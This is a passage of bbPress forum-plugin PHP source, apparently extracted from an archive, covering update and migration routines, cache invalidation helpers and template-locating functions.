	// Switch back to the original site
	if ( is_multisite() ) {
		restore_current_blog();
	}
}

/** Interception **************************************************************/

/**
 * Generate a default intercept value.
 *
 * @since 2.6.0
 *
 * @staticvar mixed $rand Null by default, random string on first call
 *
 * @return string
 */
function bbp_default_intercept() {
	static $rand = null;

	// Generate a new random and unique string
	if ( null === $rand ) {

		// If ext/hash is not present, compat.php's hash_hmac() does not support sha256.
		$algo = function_exists( 'hash' )
			? 'sha256'
			: 'sha1';

		// Old WP installs may not have AUTH_SALT defined.
		$salt = defined( 'AUTH_SALT' ) && AUTH_SALT
			? AUTH_SALT
			: (string) wp_rand();

		// Create unique ID
		$rand = hash_hmac( $algo, uniqid( $salt, true ), $salt );
	}

	// Return random string (from locally static variable)
	return $rand;
}

/**
 * Whether a value has been intercepted
 *
 * @since 2.6.0
 *
 * @param bool $value
 */
function bbp_is_intercepted( $value = '' ) {
	return ( bbp_default_intercept() !== $value );
}

/**
 * Allow interception of a method or function call.
 *
 * @since 2.6.0
 *
 * @param string $action Typically the name of the caller function
 * @param array  $args   Typically the results of caller function func_get_args()
 *
 * @return mixed         Intercept results. Default bbp_default_intercept().
 */
function bbp_maybe_intercept( $action = '', $args = array() ) {

	// Backwards compatibility juggle
	$hook = ( false === strpos( $action, 'pre_' ) )
		? "pre_{$action}"
		: $action;

	// Default value
	$default = bbp_default_intercept();

	// Parse args
	$r = bbp_parse_args( (array) $args, array(), 'maybe_intercept' );

	// Bail if no args
	if ( empty( $r ) ) {
		return $default;
	}

	// Filter
	$args     = array_merge( array( $hook ), $r );
	$filtered = call_user_func_array( 'apply_filters', $args );

	// Return filtered value, or default if not intercepted
	return ( $filtered === reset( $r ) )
		? $default
		: $filtered;
}

/** Date/Time *****************************************************************/

/**
 * Get an empty datetime value.
 *
 * @since 2.6.6 bbPress (r7094)
 *
 * @return string
 */
function bbp_get_empty_datetime() {

	// Get the database version
	$db_version = bbp_db()->db_version();

	// Default return value
	$retval = '0000-00-00 00:00:00';

	// Filter & return
	return (string) apply_filters( 'bbp_get_default_zero_date', $retval, $db_version );
}
includes/core/update.php000066600000037001151771460310011307 0ustar00<?php

/**
 * bbPress Updater
 *
 * @package bbPress
 * @subpackage Core
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/**
 * If there is no raw DB version, this is the first installation
 *
 * @since 2.1.0 bbPress (r3764)
 *
 * @return bool True if update, False if not
 */
function bbp_is_install() {
	return ! bbp_get_db_version_raw();
}

/**
 * Compare the bbPress version to the DB version to determine if updating
 *
 * @since 2.0.0 bbPress (r3421)
 *
 * @return bool True if update, False if not
 */
function bbp_is_update() {
	$raw    = (int) bbp_get_db_version_raw();
	$cur    = (int) bbp_get_db_version();
	$retval = (bool) ( $raw < $cur );
	return $retval;
}

/**
 * Determine if bbPress is being activated
 *
 * Note that this function currently is not used in bbPress core and is here
 * for third party plugins to use to check for bbPress activation.
 *
 * @since 2.0.0 bbPress (r3421)
 *
 * @return bool True if activating bbPress, false if not
 */
function bbp_is_activation( $basename = '' ) {
	global $pagenow;

	$bbp    = bbpress();
	$action = false;

	// Bail if not in admin/plugins
	if ( ! ( is_admin() && ( 'plugins.php' === $pagenow ) ) ) {
		return false;
	}

	if ( ! empty( $_REQUEST['action'] ) && ( '-1' !== $_REQUEST['action'] ) ) {
		$action = $_REQUEST['action'];
	} elseif ( ! empty( $_REQUEST['action2'] ) && ( '-1' !== $_REQUEST['action2'] ) ) {
		$action = $_REQUEST['action2'];
	}

	// Bail if not activating
	if ( empty( $action ) || ! in_array( $action, array( 'activate', 'activate-selected', true ) ) ) {
		return false;
	}

	// The plugin(s) being activated
	if ( $action === 'activate' ) {
		$plugins = isset( $_GET['plugin'] ) ? array( $_GET['plugin'] ) : array();
	} else {
		$plugins = isset( $_POST['checked'] ) ? (array) $_POST['checked'] : array();
	}

	// Set basename if empty
	if ( empty( $basename ) && ! empty( $bbp->basename ) ) {
		$basename = $bbp->basename;
	}

	// Bail if no basename
	if ( empty( $basename ) ) {
		return false;
	}

	// Is bbPress being activated?
	return in_array( $basename, $plugins, true );
}

/**
 * Determine if bbPress is being deactivated
 *
 * @since 2.0.0 bbPress (r3421)
 *
 * @return bool True if deactivating bbPress, false if not
 */
function bbp_is_deactivation( $basename = '' ) {
	global $pagenow;

	$bbp    = bbpress();
	$action = false;

	// Bail if not in admin/plugins
	if ( ! ( is_admin() && ( 'plugins.php' === $pagenow ) ) ) {
		return false;
	}

	if ( ! empty( $_REQUEST['action'] ) && ( '-1' !== $_REQUEST['action'] ) ) {
		$action = $_REQUEST['action'];
	} elseif ( ! empty( $_REQUEST['action2'] ) && ( '-1' !== $_REQUEST['action2'] ) ) {
		$action = $_REQUEST['action2'];
	}

	// Bail if not deactivating
	if ( empty( $action ) || ! in_array( $action, array( 'deactivate', 'deactivate-selected' ), true ) ) {
		return false;
	}

	// The plugin(s) being deactivated
	if ( $action === 'deactivate' ) {
		$plugins = isset( $_GET['plugin'] ) ? array( $_GET['plugin'] ) : array();
	} else {
		$plugins = isset( $_POST['checked'] ) ? (array) $_POST['checked'] : array();
	}

	// Set basename if empty
	if ( empty( $basename ) && ! empty( $bbp->basename ) ) {
		$basename = $bbp->basename;
	}

	// Bail if no basename
	if ( empty( $basename ) ) {
		return false;
	}

	// Is bbPress being deactivated?
	return in_array( $basename, $plugins, true );
}

/**
 * Update the DB to the latest version
 *
 * @since 2.0.0 bbPress (r3421)
 */
function bbp_version_bump() {
	update_option( '_bbp_db_version', bbp_get_db_version() );
}

/**
 * Setup the bbPress updater
 *
 * @since 2.0.0 bbPress (r3419)
 */
function bbp_setup_updater() {

	// Bail if no update needed
	if ( ! bbp_is_update() ) {
		return;
	}

	// Call the automated updater
	bbp_version_updater();
}

/**
 * Runs when a new site is created in a multisite network, and bbPress is active
 * on that site (hooked to `bbp_new_site`)
 *
 * @since 2.6.0 bbPress (r6779)
 */
function bbp_setup_new_site( $site_id = 0 ) {

	// Look for initial content
	$created = is_multisite()
		? get_blog_option( $site_id, '_bbp_flag_initial_content', false )
		: get_option( '_bbp_flag_initial_content', false );

	// Maybe create the initial content
	if ( ! empty( $created ) ) {
		bbp_create_initial_content();

		// Flag initial content as created
		is_multisite()
			? update_blog_option( $site_id, '_bbp_flag_initial_content', true )
			: update_option( '_bbp_flag_initial_content', true );
	}
}

/**
 * Create a default forum, topic, and reply
 *
 * @since 2.1.0 bbPress (r3767)
 *
 * @param array $args Array of arguments to override default values
 */
function bbp_create_initial_content( $args = array() ) {

	// Cannot use bbp_get_current_user_id() during activation process
	$user_id = get_current_user_id();

	// Parse arguments against default values
	$r = bbp_parse_args( $args, array(
		'forum_author'  => $user_id,
		'forum_parent'  => 0,
		'forum_status'  => 'publish',
		'forum_title'   => esc_html__( 'General',            'bbpress' ),
		'forum_content' => esc_html__( 'General Discussion', 'bbpress' ),

		'topic_author'  => $user_id,
		'topic_title'   => esc_html__( 'Hello World!',                                  'bbpress' ),
		'topic_content' => esc_html__( 'This is the very first topic in these forums.', 'bbpress' ),

		'reply_author'  => $user_id,
		'reply_content' => esc_html__( 'And this is the very first reply.', 'bbpress' ),
	), 'create_initial_content' );

	// Use the same time for each post
	$current_time = time();
	$forum_time   = date( 'Y-m-d H:i:s', $current_time - 60 * 60 * 80 );
	$topic_time   = date( 'Y-m-d H:i:s', $current_time - 60 * 60 * 60 );
	$reply_time   = date( 'Y-m-d H:i:s', $current_time - 60 * 60 * 40 );

	// Create the initial forum
	$forum_id = bbp_insert_forum( array(
		'post_author'  => $r['forum_author'],
		'post_parent'  => $r['forum_parent'],
		'post_status'  => $r['forum_status'],
		'post_title'   => $r['forum_title'],
		'post_content' => $r['forum_content'],
		'post_date'    => $forum_time
	) );

	// Create the initial topic
	$topic_id = bbp_insert_topic(
		array(
			'post_author'  => $r['topic_author'],
			'post_parent'  => $forum_id,
			'post_title'   => $r['topic_title'],
			'post_content' => $r['topic_content'],
			'post_date'    => $topic_time,
		),
		array(
			'forum_id'     => $forum_id
		)
	);

	// Create the initial reply
	$reply_id = bbp_insert_reply(
		array(
			'post_author'  => $r['reply_author'],
			'post_parent'  => $topic_id,
			'post_content' => $r['reply_content'],
			'post_date'    => $reply_time
		),
		array(
			'forum_id'     => $forum_id,
			'topic_id'     => $topic_id
		)
	);

	return array(
		'forum_id' => $forum_id,
		'topic_id' => $topic_id,
		'reply_id' => $reply_id
	);
}

/**
 * The version updater looks at what the current database version is, and
 * runs whatever other code is needed.
 *
 * This is most-often used when the data schema changes, but should also be used
 * to correct issues with bbPress meta-data silently on software update.
 *
 * @since 2.2.0 bbPress (r4104)
 */
function bbp_version_updater() {

	// Get the raw database version
	$raw_db_version = (int) bbp_get_db_version_raw();

	// Only run updater if previous installation exists
	if ( ! empty( $raw_db_version ) ) {

		/** 2.0 Branch ********************************************************/

		// 2.0, 2.0.1, 2.0.2, 2.0.3
		if ( $raw_db_version < 200 ) {
			// No changes
		}

		/** 2.1 Branch ********************************************************/

		// 2.1, 2.1.1
		if ( $raw_db_version < 211 ) {

			/**
			 * Repair private and hidden forum data
			 *
			 * @link https://bbpress.trac.wordpress.org/ticket/1891
			 */
			bbp_admin_repair_forum_visibility();
		}

		/** 2.2 Branch ********************************************************/

		// 2.2.x
		if ( $raw_db_version < 220 ) {

			// Remove any old bbPress roles
			bbp_remove_roles();

			// Remove capabilities
			bbp_remove_caps();
		}

		/** 2.3 Branch ********************************************************/

		// 2.3.x
		if ( $raw_db_version < 230 ) {
			// No changes
		}

		/** 2.4 Branch ********************************************************/

		// 2.4.x
		if ( $raw_db_version < 240 ) {
			// No changes
		}

		/** 2.5 Branch ********************************************************/

		// 2.5.x
		if ( $raw_db_version < 250 ) {
			// No changes
		}

		/** 2.6 Branch ********************************************************/

		// Smaller installs run the upgrades directly
		if ( ! bbp_is_large_install() ) {

			/**
			 * Upgrade user favorites and subscriptions
			 */
			if ( $raw_db_version < 261 ) {
				bbp_admin_upgrade_user_favorites();
				bbp_admin_upgrade_user_topic_subscriptions();
				bbp_admin_upgrade_user_forum_subscriptions();
			}

			/**
			 * Upgrade user engagements
			 */
			if ( $raw_db_version < 262 ) {
				bbp_admin_upgrade_user_engagements();
			}

			/**
			 * Repair forum hidden reply count
			 */
			if ( $raw_db_version < 263 ) {
				bbp_admin_repair_forum_hidden_reply_count();
			}

		// Large installs require manual intervention
		} else {

			/**
			 * Upgrade user favorites and subscriptions
			 */
			if ( $raw_db_version < 261 ) {
				bbp_add_pending_upgrade( 'bbp-user-favorites-move' );
				bbp_add_pending_upgrade( 'bbp-user-topic-subscriptions-move' );
				bbp_add_pending_upgrade( 'bbp-user-forum-subscriptions-move' );

				// Set strategy to pre-2.6 on large network
				update_option( '_bbp_engagements_strategy', 'user' );
			}

			/**
			 * Upgrade user engagements
			 */
			if ( $raw_db_version < 262 ) {
				bbp_add_pending_upgrade( 'bbp-user-topic-engagements-move' );

				// Set strategy to pre-2.6 on large network
				update_option( '_bbp_engagements_strategy', 'user' );
			}

			/**
			 * Upgrade user engagements
			 */
			if ( $raw_db_version < 263 ) {
				bbp_add_pending_upgrade( 'bbp-forum-hidden-replies' );
			}
		}
	}

	/** All done! *************************************************************/

	// Bump the version
	bbp_version_bump();

	// Delete rewrite rules to force a flush
	bbp_delete_rewrite_rules();
}

/**
 * Redirect user to the "What's New" page on activation
 *
 * @since 2.2.0 bbPress (r4389)
 *
 * @internal Used internally to redirect bbPress to the about page on activation
 *
 * @return If network admin or bulk activation
 */
function bbp_add_activation_redirect() {

	// Bail if activating from network, or bulk
	if ( is_network_admin() || isset( $_GET['activate-multi'] ) ) {
		return;
	}

	// Add the redirect trigger
	update_user_option( get_current_user_id(), '_bbp_activation_redirect', true );
}

/**
 * Redirect user to "What's New" page on activation
 *
 * @since 2.2.0 bbPress (r4389)
 *
 * @internal Used internally to redirect bbPress to the about page on activation
 *
 * @return If no transient, or in network admin, or is bulk activation
 */
function bbp_do_activation_redirect() {

	// Bail if no redirect trigger
	if ( ! get_user_option( '_bbp_activation_redirect' ) ) {
		return;
	}

	// Delete the redirect trigger
	delete_user_option( get_current_user_id(), '_bbp_activation_redirect' );

	// Bail if activating from network, or bulk
	if ( is_network_admin() || isset( $_GET['activate-multi'] ) ) {
		return;
	}

	// Bail if the current user cannot see the about page
	if ( ! current_user_can( 'bbp_about_page' ) ) {
		return;
	}

	// Redirect to bbPress about page
	bbp_redirect( add_query_arg( array( 'page' => 'bbp-about' ), admin_url( 'index.php' ) ) );
}

/**
 * Hooked to the 'bbp_activate' action, this helper function automatically makes
 * the current user a Key Master in the forums if they just activated bbPress,
 * regardless of the bbp_allow_global_access() setting.
 *
 * @since 2.4.0 bbPress (r4910)
 *
 * @internal Used to internally make the current user a keymaster on activation
 *
 * @return If user can't activate plugins or is already a keymaster
 */
function bbp_make_current_user_keymaster() {

	// Catch all, to prevent premature user initialization
	if ( ! did_action( 'set_current_user' ) ) {
		return;
	}

	// Bail if not logged in or already a member of this site
	if ( ! is_user_logged_in() ) {
		return;
	}

	// Bail if the current user can't activate plugins since previous pageload
	if ( ! current_user_can( 'activate_plugins' ) ) {
		return;
	}

	// Cannot use bbp_get_current_user_id() during activation process
	$user_id = get_current_user_id();

	// Get the current blog ID, to know if they should be promoted here
	$blog_id = get_current_blog_id();

	// Bail if user is not actually a member of this site
	if ( ! is_user_member_of_blog( $user_id, $blog_id ) ) {
		return;
	}

	// Bail if the current user already has a forum role to prevent
	// unexpected role and capability escalation.
	if ( bbp_get_user_role( $user_id ) ) {
		return;
	}

	// Make the current user a keymaster
	bbp_set_user_role( $user_id, bbp_get_keymaster_role() );

	// Reload the current user so caps apply immediately
	wp_get_current_user();
}

/** Pending Upgrades **********************************************************/

/**
 * Return the number of pending upgrades
 *
 * @since 2.6.0 bbPress (r6895)
 *
 * @param string $type Type of pending upgrades (upgrade|repair|empty)
 *
 * @return int
 */
function bbp_get_pending_upgrade_count( $type = '' ) {
	return count( (array) bbp_get_pending_upgrades( $type ) );
}

/**
 * Return an array of pending upgrades
 *
 * @since 2.6.0 bbPress (r6895)
 *
 * @param string $type Type of pending upgrades (upgrade|repair|empty)
 *
 * @return array
 */
function bbp_get_pending_upgrades( $type = '' ) {

	// Get the pending upgrades
	$retval = (array) get_option( '_bbp_db_pending_upgrades', array() );

	// Looking for a specific type?
	if ( ! empty( $type ) ) {
		$tools   = bbp_get_admin_repair_tools( $type );
		$plucked = array_keys( wp_list_pluck( $tools, 'type' ) );
		$retval  = array_intersect( $retval, $plucked );
	}

	return (array) $retval;
}

/**
 * Add an upgrade ID to pending upgrades array
 *
 * @since 2.6.0 bbPress (r6895)
 *
 * @param string $upgrade_id
 */
function bbp_add_pending_upgrade( $upgrade_id = '' ) {

	// Get the pending upgrades option
	$pending = bbp_get_pending_upgrades();

	// Maybe add upgrade ID to end of pending array
	if ( false === array_search( $upgrade_id, $pending, true ) ) {
		array_push( $pending, $upgrade_id );
	}

	// Update and return
	return update_option( '_bbp_db_pending_upgrades', $pending );
}

/**
 * Add an upgrade ID to pending upgrades array
 *
 * @since 2.6.0 bbPress (r6895)
 *
 * @param string $upgrade_id
 */
function bbp_remove_pending_upgrade( $upgrade_id = '' ) {

	// Get the pending upgrades option
	$pending = bbp_get_pending_upgrades();

	// Look for this upgrade ID
	$index = array_search( $upgrade_id, $pending, true );

	// Maybe remove upgrade ID from pending array
	if ( false !== $index ) {
		unset( $pending[ $index ] );
	}

	// Update and return
	return update_option( '_bbp_db_pending_upgrades', $pending );
}

/**
 * Delete all pending upgrades
 *
 * @since 2.6.0 bbPress (r6895)
 */
function bbp_clear_pending_upgrades() {
	return delete_option( '_bbp_db_pending_upgrades' );
}

/**
 * Maybe append an upgrade count to a string
 *
 * @since 2.6.0 bbPress (r6896)
 *
 * @param string $string Text to append count to
 * @param string $type   Type of pending upgrades (upgrade|repair|empty)
 *
 * @return string
 */
function bbp_maybe_append_pending_upgrade_count( $string = '', $type = '' ) {

	// Look for an upgrade count
	$count = bbp_get_pending_upgrade_count( $type );

	// Append the count to the string
	if ( ! empty( $count ) ) {
		$suffix = ' <span class="awaiting-mod count-' . absint( $count ) . '"><span class="pending-count">' . bbp_number_format( $count ) . '</span></span>';
		$string = "{$string}{$suffix}";
	}

	// Return the string, maybe with a count
	return $string;
}
includes/core/cache.php000066600000011115151771460310011066 0ustar00<?php

/**
 * bbPress Cache Helpers
 *
 * Helper functions used to communicate with WordPress's various caches. Many
 * of these functions are used to work around specific WordPress nuances. They
 * are subject to changes, tweaking, and will need iteration as performance
 * improvements are made to WordPress core.
 *
 * @package bbPress
 * @subpackage Cache
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/** Helpers *******************************************************************/

/**
 * Skip invalidation of child post content when editing a parent.
 *
 * This prevents invalidating caches for topics and replies when editing a forum
 * or a topic. Without this in place, WordPress will attempt to invalidate all
 * child posts whenever a parent post is modified. This can cause thousands of
 * cache invalidations to occur on a single edit, which is no good for anyone.
 *
 * @since 2.1.0 bbPress (r4011)
 *
 * @package bbPress
 * @subpackage Cache
 */
class BBP_Skip_Children {

	/**
	 * @var int Post ID being updated
	 */
	private $updating_post = 0;

	/**
	 * @var bool The original value of $_wp_suspend_cache_invalidation global
	 */
	private $original_cache_invalidation = false;

	/** Methods ***************************************************************/

	/**
	 * Hook into the 'pre_post_update' action.
	 *
	 * @since 2.1.0 bbPress (r4011)
	 */
	public function __construct() {
		add_action( 'pre_post_update', array( $this, 'pre_post_update' ) );
	}

	/**
	 * Only clean post caches for main bbPress posts.
	 *
	 * Check that the post being updated is a bbPress post type, saves the
	 * post ID to be used later, and adds an action to 'clean_post_cache' that
	 * prevents child post caches from being cleared.
	 *
	 * @since 2.1.0 bbPress (r4011)
	 *
	 * @param int $post_id The post ID being updated
	 * @return If invalid post data
	 */
	public function pre_post_update( $post_id = 0 ) {

		// Bail if post ID is not a bbPress post type
		if ( empty( $post_id ) || ! bbp_is_custom_post_type( $post_id ) ) {
			return;
		}

		// Store the $post_id
		$this->updating_post = $post_id;

		// Skip related post cache invalidation. This prevents invalidating the
		// caches of the child posts when there is no reason to do so.
		add_action( 'clean_post_cache', array( $this, 'skip_related_posts' ) );
	}

	/**
	 * Skip cache invalidation of related posts if the post ID being invalidated
	 * is not the one that was just updated.
	 *
	 * @since 2.1.0 bbPress (r4011)
	 *
	 * @param int $post_id The post ID of the cache being invalidated
	 * @return If invalid post data
	 */
	public function skip_related_posts( $post_id = 0 ) {

		// Bail if this post is not the current bbPress post
		if ( empty( $post_id ) || ( $this->updating_post !== $post_id ) ) {
			return;
		}

		// Stash the current cache invalidation value in a variable, so we can
		// restore back to it nicely in the future.
		global $_wp_suspend_cache_invalidation;

		$this->original_cache_invalidation = $_wp_suspend_cache_invalidation;

		// Turn off cache invalidation
		wp_suspend_cache_invalidation( true );

		// Restore cache invalidation
		add_action( 'wp_insert_post', array( $this, 'restore_cache_invalidation' ) );
	}

	/**
	 * Restore the cache invalidation to its previous value.
	 *
	 * @since 2.1.0 bbPress (r4011)
	 */
	public function restore_cache_invalidation() {
		wp_suspend_cache_invalidation( $this->original_cache_invalidation );
	}
}
new BBP_Skip_Children();

/** General *******************************************************************/

/**
 * Will clean a post in the cache.
 *
 * Will call to clean the term object cache associated with the post ID.
 *
 * @since 2.1.0 bbPress (r4040)
 * @since 2.6.0 bbPress (r6053) Introduced the `$post_id` parameter.
 *
 * @param int     $post_id The post id.
 * @param WP_Post $post    The WP_Post object.
 */
function bbp_clean_post_cache( $post_id = null, $post = null ) {

	// Child query types to clean
	$post_types = array(
		bbp_get_forum_post_type(),
		bbp_get_topic_post_type(),
		bbp_get_reply_post_type()
	);

	// Bail if not a bbPress post type
	if ( ! in_array( $post->post_type, $post_types, true ) ) {
		return;
	}

	/**
	 * Fires immediately after the given post cache is cleaned.
	 *
	 * @since 2.1.0
	 *
	 * @param int     $post_id Post ID.
	 * @param WP_Post $post    Post object.
	 */
	do_action( 'bbp_clean_post_cache', $post->ID, $post );

	// Invalidate parent caches
	if ( ! empty( $post->post_parent ) ) {
		clean_post_cache( $post->post_parent );

	// Only bump `last_changed` when forum-root is reached
	} else {
		wp_cache_set( 'last_changed', microtime(), 'bbpress_posts' );
	}
}
includes/core/template-functions.php000066600000054344151771460310013657 0ustar00<?php

/**
 * bbPress Template Functions
 *
 * This file contains functions necessary to mirror the WordPress core template
 * loading process. Many of those functions are not filterable, and even then
 * would not be robust enough to predict where bbPress templates might exist.
 *
 * @package bbPress
 * @subpackage TemplateFunctions
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/**
 * Adds bbPress theme support to any active WordPress theme
 *
 * @since 2.0.0 bbPress (r3032)
 *
 * @param string $slug
 * @param string $name Optional. Default null
 */
function bbp_get_template_part( $slug, $name = null ) {

	// Execute code for this part
	do_action( 'get_template_part_' . $slug, $slug, $name );

	// Setup possible parts
	$templates = array();
	if ( isset( $name ) ) {
		$templates[] = $slug . '-' . $name . '.php';
	}
	$templates[] = $slug . '.php';

	// Allow template parst to be filtered
	$templates = apply_filters( 'bbp_get_template_part', $templates, $slug, $name );

	// Return the part that is found
	return bbp_locate_template( $templates, true, false );
}

/**
 * Retrieve the name of the highest priority template file that exists.
 *
 * Searches in the child theme before parent theme so that themes which
 * inherit from a parent theme can just overload one file. If the template is
 * not found in either of those, it looks in the theme-compat folder last.
 *
 * @since 2.1.0 bbPress (r3618)
 *
 * @param string|array $template_names Template file(s) to search for, in order.
 * @param bool $load If true the template file will be loaded if it is found.
 * @param bool $require_once Whether to require_once or require. Default true.
 *                            Has no effect if $load is false.
 * @return string The template filename if one is located.
 */
function bbp_locate_template( $template_names, $load = false, $require_once = true ) {

	// No file found yet
	$located            = false;
	$template_locations = bbp_get_template_stack();

	// Try to find a template file
	foreach ( (array) $template_names as $template_name ) {

		// Continue if template is empty
		if ( empty( $template_name ) ) {
			continue;
		}

		// Trim off any slashes from the template name
		$template_name  = ltrim( $template_name, '/' );

		// Loop through template stack
		foreach ( (array) $template_locations as $template_location ) {

			// Continue if $template_location is empty
			if ( empty( $template_location ) ) {
				continue;
			}

			// Check child theme first
			if ( file_exists( trailingslashit( $template_location ) . $template_name ) ) {
				$located = trailingslashit( $template_location ) . $template_name;
				break 2;
			}
		}
	}

	/**
	 * This action exists only to follow the standard bbPress coding convention,
	 * and should not be used to short-circuit any part of the template locator.
	 *
	 * If you want to override a specific template part, please either filter
	 * 'bbp_get_template_part' or add a new location to the template stack.
	 */
	do_action( 'bbp_locate_template', $located, $template_name, $template_names, $template_locations, $load, $require_once );

	// Maybe load the template if one was located
	if ( ( defined( 'WP_USE_THEMES' ) && WP_USE_THEMES ) && ( true === $load ) && ! empty( $located ) ) {
		load_template( $located, $require_once );
	}

	return $located;
}

/**
 * Locate an enqueueable file on the server. Used before being enqueued.
 *
 * If SCRIPT_DEBUG is set and the file includes a .min suffix, this function
 * will automatically attempt to locate a non-minified version of that file.
 *
 * If SCRIPT_DEBUG is not set and the file exclude a .min suffix, this function
 * will automatically attempt to locate a minified version of that file.
 *
 * See: https://bbpress.trac.wordpress.org/ticket/3218
 *
 * @since 2.6.0
 *
 * @param string $file
 *
 * @return boolean
 */
function bbp_locate_enqueueable( $file = '' ) {

	// Bail if no file to locate
	if ( empty( $file ) ) {
		return false;
	}

	// Add file to files array
	$files = array( $file );

	// Get the file variant (minified or not, but opposite of $file)
	$file_is_min  = ( false !== strpos( $file, '.min' ) );
	$file_variant = ( false === $file_is_min )
		? str_replace( array( '.css', '.js' ), array( '.min.css', '.min.js' ), $file )
		: str_replace( '.min', '', $file );

	// Are we debugging?
	$script_debug = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG;

	// Debugging, so prefer unminified files
	if ( true === $script_debug ) {
		if ( true === $file_is_min ) {
			array_unshift( $files, $file_variant );
		} else {
			array_push( $files, $file_variant );
		}

	// Not debugging, so prefer minified files
	} elseif ( false === $script_debug ) {
		if ( true === $file_is_min ) {
			array_push( $files, $file_variant );
		} else {
			array_unshift( $files, $file_variant );
		}
	}

	// Return first found file location in the stack
	return bbp_locate_template( $files, false, false );
}

/**
 * Convert an enqueueable file path to a URL
 *
 * @since 2.6.0
 * @param string $file
 *
 * @return string
 */
function bbp_urlize_enqueueable( $file = '' ) {

	// Get DIR and URL
	$content_dir = constant( 'WP_CONTENT_DIR' );
	$content_url = content_url();

	// IIS (Windows) here
	// Replace back slashes with forward slash
	if ( false !== strpos( $file, '\\' ) ) {
		$file        = str_replace( '\\', '/', $file        );
		$content_dir = str_replace( '\\', '/', $content_dir );
	}

	// Return path to file relative to site URL
	return str_replace( $content_dir, $content_url, $file );
}

/**
 * Enqueue a script from the highest priority location in the template stack.
 *
 * Registers the style if file provided (does NOT overwrite) and enqueues.
 *
 * @since 2.5.0 bbPress (r5180)
 *
 * @param string      $handle Name of the stylesheet.
 * @param string|bool $file   Relative path to stylesheet. Example: '/css/mystyle.css'.
 * @param array       $deps   An array of registered style handles this stylesheet depends on. Default empty array.
 * @param string|bool $ver    String specifying the stylesheet version number, if it has one. This parameter is used
 *                            to ensure that the correct version is sent to the client regardless of caching, and so
 *                            should be included if a version number is available and makes sense for the stylesheet.
 * @param string      $media  Optional. The media for which this stylesheet has been defined.
 *                            Default 'all'. Accepts 'all', 'aural', 'braille', 'handheld', 'projection', 'print',
 *                            'screen', 'tty', or 'tv'.
 *
 * @return mixed The style filename if one is located. False if not.
 */
function bbp_enqueue_style( $handle = '', $file = '', $deps = array(), $ver = false, $media = 'all' ) {

	// Attempt to locate an enqueueable
	$located = bbp_locate_enqueueable( $file );

	// Enqueue if located
	if ( ! empty( $located ) ) {

		// Make sure there is always a version
		if ( empty( $ver ) ) {
			$ver = bbp_get_version();
		}

		// Make path to file relative to site URL
		$located = bbp_urlize_enqueueable( $located );

		// Register the style
		wp_register_style( $handle, $located, $deps, $ver, $media );

		// Enqueue the style
		wp_enqueue_style( $handle );
	}

	return $located;
}

/**
 * Enqueue a script from the highest priority location in the template stack.
 *
 * Registers the style if file provided (does NOT overwrite) and enqueues.
 *
 * @since 2.5.0 bbPress (r5180)
 *
 * @param string      $handle    Name of the script.
 * @param string|bool $file      Relative path to the script. Example: '/js/myscript.js'.
 * @param array       $deps      An array of registered handles this script depends on. Default empty array.
 * @param string|bool $ver       Optional. String specifying the script version number, if it has one. This parameter
 *                               is used to ensure that the correct version is sent to the client regardless of caching,
 *                               and so should be included if a version number is available and makes sense for the script.
 * @param bool        $in_footer Optional. Whether to enqueue the script before </head> or before </body>.
 *                               Default 'false'. Accepts 'false' or 'true'.
 *
 * @return mixed The script filename if one is located. False if not.
 */
function bbp_enqueue_script( $handle = '', $file = '', $deps = array(), $ver = false, $in_footer = false ) {

	// Attempt to locate an enqueueable
	$located = bbp_locate_enqueueable( $file );

	// Enqueue if located
	if ( ! empty( $located ) ) {

		// Make sure there is always a version
		if ( empty( $ver ) ) {
			$ver = bbp_get_version();
		}

		// Make path to file relative to site URL
		$located = bbp_urlize_enqueueable( $located );

		// Register the style
		wp_register_script( $handle, $located, $deps, $ver, $in_footer );

		// Enqueue the style
		wp_enqueue_script( $handle );
	}

	return $located;
}

/**
 * This is really cool. This function registers a new template stack location,
 * using WordPress's built in filters API.
 *
 * This allows for templates to live in places beyond just the parent/child
 * relationship, to allow for custom template locations. Used in conjunction
 * with bbp_locate_template(), this allows for easy template overrides.
 *
 * @since 2.2.0 bbPress (r4323)
 *
 * @param string $location_callback Callback function that returns the
 * @param int $priority
 */
function bbp_register_template_stack( $location_callback = '', $priority = 10 ) {

	// Bail if no location, or function/method is not callable
	if ( empty( $location_callback ) || ! is_callable( $location_callback ) ) {
		return false;
	}

	// Add location callback to template stack
	return add_filter( 'bbp_template_stack', $location_callback, (int) $priority );
}

/**
 * Deregisters a previously registered template stack location.
 *
 * @since 2.3.0 bbPress (r4652)
 *
 * @param string $location_callback Callback function that returns the
 * @param int $priority
 * @return bool Whether stack was removed
 */
function bbp_deregister_template_stack( $location_callback = '', $priority = 10 ) {

	// Bail if no location, or function/method is not callable
	if ( empty( $location_callback ) || ! is_callable( $location_callback ) ) {
		return false;
	}

	// Remove location callback to template stack
	return remove_filter( 'bbp_template_stack', $location_callback, (int) $priority );
}

/**
 * Call the functions added to the 'bbp_template_stack' filter hook, and return
 * an array of the template locations.
 *
 * @since 2.2.0 bbPress (r4323)
 * @since 2.6.0 bbPress (r5944) Added support for `WP_Hook`
 *
 * @global array $wp_filter Stores all of the filters
 * @global array $merged_filters Merges the filter hooks using this function.
 * @global array $wp_current_filter stores the list of current filters with the current one last
 *
 * @return array The filtered value after all hooked functions are applied to it.
 */
function bbp_get_template_stack() {
	global $wp_filter, $merged_filters, $wp_current_filter;

	// Setup some default variables
	$tag  = 'bbp_template_stack';
	$args = $stack = array();

	// Add 'bbp_template_stack' to the current filter array
	$wp_current_filter[] = $tag;

	// Bail if no stack setup
	if ( empty( $wp_filter[ $tag ] ) ) {
		return array();
	}

	// Check if WP_Hook class exists, see #WP17817
	if ( class_exists( 'WP_Hook' ) ) {
		$filter = $wp_filter[ $tag ]->callbacks;
	} else {
		$filter = &$wp_filter[ $tag ];

		// Sort
		if ( ! isset( $merged_filters[ $tag ] ) ) {
			ksort( $filter );
			$merged_filters[ $tag ] = true;
		}
	}

	// Ensure we're always at the beginning of the filter array
	reset( $filter );

	// Loop through 'bbp_template_stack' filters, and call callback functions
	do {
		foreach ( (array) current( $filter ) as $the_ ) {
			if ( ! is_null( $the_['function'] ) ) {
				$args[1] = $stack;
				$stack[] = call_user_func_array( $the_['function'], array_slice( $args, 1, (int) $the_['accepted_args'] ) );
			}
		}
	} while ( next( $filter ) !== false );

	// Remove 'bbp_template_stack' from the current filter array
	array_pop( $wp_current_filter );

